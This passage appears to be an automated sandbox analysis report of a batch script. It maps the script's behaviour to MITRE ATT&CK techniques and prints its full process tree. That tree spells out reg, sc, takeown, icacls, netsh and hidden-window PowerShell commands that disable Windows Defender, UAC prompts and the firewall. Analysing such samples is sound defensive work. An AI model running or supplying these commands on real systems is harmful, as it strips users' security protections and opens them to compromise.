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Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0"	reg.exe

Modifies firewall policy service 3 TTPs 2 IoCs

defense_evasion

Modify Registry

Windows Service

Disable or Modify System Firewall

T1562.004

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile	reg.exe
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\EnableFirewall = "0"	reg.exe

UAC bypass 3 TTPs 3 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	reg.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

persistence privilege_escalation

Disable or Modify System Firewall

T1562.004

pid	Process
3396	netsh.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
208	takeown.exe
804	icacls.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
208	takeown.exe
804	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\de-DE\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\it-IT\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\uk-UA\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpEvMsg.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\uk-UA\MsMpRes.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\OfflineScannerShell.exe.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\EppManifest.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\ja-JP\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\es-ES\shellext.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\fr-FR\MpAsDesc.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement.dll.mui	cmd.exe
File opened for modification	C:\Program Files\Windows Defender\it-IT\ProtectionManagement_Uninstall.mfl	cmd.exe
File opened for modification	C:\Program Files (x86)\Windows Defender\fr-FR\EppManifest.dll.mui	cmd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4948	sc.exe
3332	sc.exe
2144	sc.exe
4116	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1336	powershell.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4756	cmd.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1564	PING.EXE

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1564	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1336	powershell.exe
1336	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1336	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4756 wrote to memory of 1564	4756	cmd.exe	87
PID 4756 wrote to memory of 3792	4756	cmd.exe	93
PID 3792 wrote to memory of 1676	3792	net.exe	94
PID 4756 wrote to memory of 1336	4756	cmd.exe	95
PID 4756 wrote to memory of 3884	4756	cmd.exe	96
PID 4756 wrote to memory of 4752	4756	cmd.exe	97
PID 4756 wrote to memory of 1536	4756	cmd.exe	98
PID 4756 wrote to memory of 4948	4756	cmd.exe	99
PID 4756 wrote to memory of 3332	4756	cmd.exe	100
PID 4756 wrote to memory of 2144	4756	cmd.exe	101
PID 4756 wrote to memory of 4116	4756	cmd.exe	102
PID 4756 wrote to memory of 208	4756	cmd.exe	103
PID 4756 wrote to memory of 804	4756	cmd.exe	104
PID 4756 wrote to memory of 788	4756	cmd.exe	105
PID 4756 wrote to memory of 1652	4756	cmd.exe	106
PID 4756 wrote to memory of 1592	4756	cmd.exe	107
PID 4756 wrote to memory of 3396	4756	cmd.exe	108
PID 4756 wrote to memory of 4968	4756	cmd.exe	109

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\deepseek_batch_20260723_c2fba3.bat"
1⤵
- Drops file in Program Files directory
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4756
- C:\Windows\system32\PING.EXE
  ping -n 8 127.0.0.1
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:1564
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3792
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:1676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$a=[DllImport('kernel32.dll')]::GetConsoleWindow();[DllImport('user32.dll')]::ShowWindow($a,0)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1336
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:3884
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender Real-time Protection settings
  PID:4752
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
  2⤵
  - Modifies Windows Defender TamperProtection settings
  PID:1536
- C:\Windows\system32\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:4948
- C:\Windows\system32\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3332
- C:\Windows\system32\sc.exe
  sc stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:2144
- C:\Windows\system32\sc.exe
  sc config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4116
- C:\Windows\system32\takeown.exe
  takeown /f "C:\ProgramData\Microsoft\Windows Defender\*" /r /d y
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:208
- C:\Windows\system32\icacls.exe
  icacls "C:\ProgramData\Microsoft\Windows Defender\*" /grant Everyone:F /t
  2⤵
  - Possible privilege escalation attempt
  - Modifies file permissions
  PID:804
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:788
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:1652
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:1592
- C:\Windows\system32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3396
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f
  2⤵
  - Modifies firewall policy service
  PID:4968

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry